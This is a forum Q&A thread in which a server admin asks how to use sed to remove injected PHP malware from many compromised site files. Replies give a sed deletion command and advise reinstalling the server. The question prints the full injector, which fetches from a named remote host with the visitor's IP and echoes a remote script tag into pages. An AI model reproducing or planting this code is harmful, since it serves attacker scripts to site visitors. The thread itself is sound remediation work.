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One of the domains on my Centos 6.5 (64 bit) server has been compromised. Having run a detection script on the public_html folder I have identified all the files with this code injection.

I understand the SED command will help me rid the files of the code but I've never used the command before. I need some advice on what syntax to use. Please see the code example below that I want to remove (same code in every infected file):

    if (empty($ywf)) {
@ini_set('display_errors', 0);
if (!function_exists('__url_get_contents')) {
    function __url_get_contents($remote_url, $timeout)
        if (function_exists('curl_exec')) {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $remote_url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
            curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); //timeout in seconds
            $_url_get_contents_data = curl_exec($ch);
        } elseif (function_exists('file_get_contents') && ini_get('allow_url_fopen')) {
            $ctx = @stream_context_create(array('http' =>
                    'timeout' => $timeout,
            $_url_get_contents_data = @file_get_contents($remote_url, false, $ctx);
        } elseif (function_exists('fopen') && function_exists('stream_get_contents')) {
            $handle = @fopen($remote_url, "r");
            $_url_get_contents_data = @stream_get_contents($handle);
        } else {
            $_url_get_contents_data = __file_get_url_contents($remote_url);
        return $_url_get_contents_data;
if (!function_exists('__file_get_url_contents')) {
    function __file_get_url_contents($remote_url)
        if (preg_match('/^([a-z]+):\/\/([a-z0-9-.]+)(\/.*$)/i',
            $remote_url, $matches)
        ) {
            $protocol = strtolower($matches[1]);
            $host = $matches[2];
            $path = $matches[3];
        } else {
            // Bad remote_url-format
            return FALSE;
        if ($protocol == "http") {
            $socket = @fsockopen($host, 80, $errno, $errstr, $timeout);
        } else {
            // Bad protocol
            return FALSE;
        if (!$socket) {
            // Error creating socket
            return FALSE;
        $request = "GET $path HTTP/1.0\r\nHost: $host\r\n\r\n";
        $len_written = @fwrite($socket, $request);
        if ($len_written === FALSE || $len_written != strlen($request)) {
            // Error sending request
            return FALSE;
        $response = "";
        while (!@feof($socket) &&
            ($buf = @fread($socket, 4096)) !== FALSE) {
            $response .= $buf;
        if ($buf === FALSE) {
            // Error reading response
            return FALSE;
        $end_of_header = strpos($response, "\r\n\r\n");
        return substr($response, $end_of_header + 4);

if (empty($__var_to_echo) && empty($remote_domain)) {
    $_ip = $_SERVER['REMOTE_ADDR'];
    $ywf = "http://www.sentinelproducts.com/message/FVkWXrCj.php";
    $ywf = __url_get_contents($ywf."?a=$_ip", 1);
    if (strpos($ywf, 'http://') === 0) {
        $__var_to_echo = '<script type="text/javascript" src="' . $ywf . '?id=108212681"></script>';
        echo $__var_to_echo;


It is quite a large block of code so I'm wondering how I can go about removing it from the many infected files. There are javascript files infected with code as well but if I can get a grasp of how to rid the .php files of the code above then I can modify the command to clean the javascript files.

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Please see also serverfault.com/questions/218005/… – derobert May 2 '14 at 16:17
It's probably a good idea to consider reinstalling the whole server. When the server has been compromised, you can't know what harmful software might be running on it.. – daniel kullmann May 5 '14 at 13:35

First do a backup.

This will remove the lines between the tags #7968e7# and #/7968e7# the original file will be kept with .bkp extension but it's better if you have a backup.

 sed -i.bkp '/#7968e7#/,/#\/7968e7#/ {d}'  filename  

It will leaves empty php blocks.


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Thanks. My bad, but the #7968e7# and #/7968e7# code changes in each file. Also if you know a way to do a recursive search and delete for a given string in multiple files, that would be great. I'd love to vote up your answer but I need more rep first :) – user3596738 May 2 '14 at 20:13

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